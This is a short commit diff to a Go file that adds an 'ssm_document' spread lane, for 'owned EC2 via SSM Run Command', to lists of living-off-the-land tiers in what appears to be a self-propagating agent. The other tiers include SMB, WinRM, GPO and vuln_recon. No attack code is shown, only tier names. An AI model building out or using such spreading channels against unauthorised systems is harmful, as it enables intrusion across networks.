Add ssm_document spread lane for owned EC2 via SSM Run Command.

agent/deploy/lotl_tiers.go

@@ -19,6 +19,7 @@ var DefaultLotlOnionTiers = []string{
 	"winrm",
 	"linux",
 	"gpo",
+	"ssm_document",
 }
 
 // NormalizeLotlTiers filters unknown ids and falls back to defaults when empty.
@@ -27,7 +28,7 @@ func NormalizeLotlTiers(raw []string) []string {
 		"vuln_recon": {},
 		"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
 		"bits_curl": {}, "do_peer": {}, "wsus_cache_peer": {}, "dns_txt": {}, "webrtc_mesh": {},
-		"smb": {}, "winrm": {}, "linux": {}, "gpo": {},
+		"smb": {}, "winrm": {}, "linux": {}, "gpo": {}, "ssm_document": {},
 	}
 	out := make([]string, 0, len(raw))
 	for _, t := range raw {